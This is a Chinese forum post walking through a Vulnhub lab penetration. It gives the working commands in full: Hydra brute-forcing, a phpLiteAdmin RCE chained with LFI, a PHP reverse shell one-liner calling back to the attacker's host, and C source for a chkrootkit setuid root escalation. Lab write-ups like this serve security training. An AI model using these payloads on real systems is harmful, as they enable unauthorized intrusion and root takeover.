用户
搜索

[二进制安全] 记一次靶机渗透实战

该用户从未签到

i春秋-呆萌菜鸟

Rank: 1

4

主题

5

帖子

55

魔法币
收听
0
粉丝
0
注册时间
2019-11-29
发表于 2020-4-27 18:20:41 21568

记一次vulnhub靶机渗透实战


靶机IP为静态IP:192.168.0.150

0x00 知识总结

  • 1.nmap进行初步信息的收集
  • 2.任意文件读取的利用以及phpLiteAdmin远程php代码执行漏洞
  • 3.敏感信息隐写和ssh私钥连接
  • 4.chkrootkit漏洞进行本地用户提权

0x01 信息收集

  • 第一步

    对靶机开放的端口进行探测,nmap是kali自带的一个极好的扫描工具,我们通过探测靶机的端口,可以拓宽我们的利用点,例如redis 6932端口未授权访问这个很经典的漏洞,都是需要进行大量的信息收集。

namp -sT -p- 192.168.0.150 >portscan #采用TCP三次握手扫描靶机所有端口

G1XAWd.png
只发现两个常规端口,那我们先去看看内容 or2
80端口的网页信息没有,443的https还是有一部分内容,那就先从https开始入手吧,发现就多了一张图片,没有任何多余信息。

G1jGND.png

  • 第二步

扫描网站目录,大概率存在一些可以利用的目录,或者是源码泄露,或者是敏感接口等,这里我们将两个端口一起扫,使用御剑dirsearchdirbuster都行或者结合使用,最好有一个强大的字典。
发现
http://192.168.0.150/info.php
https://192.168.0.150/db
http://192.168.0.150/department/,其中info.php就是phpinfo,department/login.php也是一个登录界面,而后者是phpLiteAdmin的登录界面:

G1jGND.png

0x02 利用手段

针对登录系统,我们可以用burpsuite进行爆破,或者使用kali hydra来进行爆破密码,个人推荐一般使用后者,但由于登录页面只需要上传password,我们使用burpsuite进行爆破,字典推荐使用rockyou.txt,成功爆破一堆密码,登录发现可以操作数据库。
G3PjAI.png

注意phpLiteAdmin的版本,可能存在直接利用的CVE

 searchsploit phpLiteAdmin 1.9 #searchsploit是个好东西

发现存在RCE,查看如何利用。

G3FXfP.png

  • 创建一个以.php结尾的database,创建一个表,字段的值写上PHP一句话

G3ebTg.png

若在sqliteadmin没有crispr.php,则此时会在当前目录下生成crispr.php,当我激动的访问crispr.php时,却发现没有此页面???返回来看一下发现存储的路径不在www/html下,而在/var/tmp路径下,而且改不了,试想如果这个时候存在LFI就万事大吉了。

G3udYQ.png

下面的事情就是开始利用另外一个登录页面了,里面一定藏着一些可以利用的地方,查看源码发现:
G3Mn8H.png

判断用户名是admin,又是密码爆破的事,这里就多用几个方法,我们使用hydra来进行爆破,不得不说rockyou.txt还是特别强大的,成功爆破得到密码,登录后台!

具体的hydra使用的参数和方法这里不再赘述,需要注意最后是特征字符串,判断口令正确的依据

hydra -l admin -P /usr/share/wordlists/rockyou.txt  -f -s 80 192.168.0.150 http-post-form "/department/login.php:username=^USER^&&password=^PASS^:Invalid Password!"

G31SPS.png

进入后台后点击Notes后发现url,本能的想到LFI
G314Ln.png

一通fuzz后的确可以任意文件读取,但是同时也是白名单过滤,只允许读取的文件以ninevehNotes结尾,但是文件类型不限,因此我们还需要将之前的数据库改名为ninevehNotes.php即可成功执行一句话。

相当于得到shell,下面直接反弹shell连接:

php -r '$sock=fsockopen("192.168.0.3",2333);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

本地kali

nc -lvvp 2333 #成功连接

在利用python中的模块得到交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")' #python2不存在

G3sYn0.png

发现/home路径下用户文件夹中有user.txt,但是无权限访问,因此第三个步骤就是提权。

本地用户提权

github上有一个enum4linux的扫描脚本,此处可以wget/tmp路径后运行,我首先想利用SUID文件提权

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

find / -perm -u=s -type f 2>/dev/null #查看具有SUID权限的文件

G3yDIS.png

发现没有值得利用的地方,到根目录瞅一眼,发现有个奇怪的文件夹report而在平常Linux的根目录是没有的,进去看一眼发现类似日志文件,文件名称是以时间来命名的:
G32tFf.png

照着这个内容google hack发现这是linux下的chkrootkit工具,简单来说就是用来定时检测系统。

chkrootkit是用来监测 rootkit 是否被安装到当前系统中的工具。
所谓 rootkit ,是一类入侵者经常使用的工具。这类工具通常非常的隐秘、令用户不易察觉,通过这类工具,入侵者建立了一条能够常时入侵系统,或者说对系统进行实时控制的途径。所以,我们要用 chkrootkit 来定时监测系统,以保证系统的安全。像Tripwire一样,chkrootkit也是“事后诸葛亮”,其只能针对系统可能的漏洞以及已经被入侵的部分进行分析。它并没有防止入侵的功能。

既然是一款工具,可能存在漏洞,先核实是否是chkrootkit

find / -name chkrootkit #全局搜索这个名字

找到chkrootkit/usr/bin下:
G3RQhT.png

没权限查看,也没权限打开,先searchsploit看有无漏洞可以利用?

发现有对应的脚本可以利用,但是尝试过后发现并没有成功,在观察其他可以利用的地方。

一顿操作,也是搜了一下资料(不得不说脑洞实在大),在/var/www/ssl/secure_notes/nineveh.png下有一张nineveh.png的图片,strings看一下发现大秘密,amrois用户的私钥和公钥藏在了里面:
G3OufH.png
赶紧copy下来,直接SSH使用私钥连接就行

注意在kali进行连接会失败,利用www-data用户本地连接即可
私钥的权限要是一定600 chmod key 600

G3v4js.png

得到user.txt,还需要继续提权为root权限。

现在在回看之前那个report文件夹,发现里面文件多了一些,而且是以时间命名,结合chkroootkit定时检测系统,推测应该是在crontab下存在定时任务,查看后发现确实存在任务。

G3xaV0.png

但是由于任务只是本地用户权限运行,即使改变report-reset.sh也同样是只能提到amrois用户这里,既然searchsploit的脚本无法利用,那就googlehack吧,找到了Chkrootkit 0.49本地提权漏洞的脚本。

漏洞利用条件
1.在/ tmp中放入一个名为'update'的非root所有者的可执行文件
2.以Root身份运行chkrootkit
3.Chkrootkit 版本小于0.49,其文件/ tmp /update将以root身份执行。
4.如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。

发现条件都能满足
/tmp(本地kali)路径下新建update.c

#include <unistd.h>

void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}

编译后在靶机wget下载后等待一段时间让crontab执行,成功得到root权限,得到flag!
G8p4iV.png

本帖被以下淘专辑推荐:

顶一个
使用道具 举报 回复
发表于 2020-4-30 08:00:03
靶机实战也给一个赞
有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册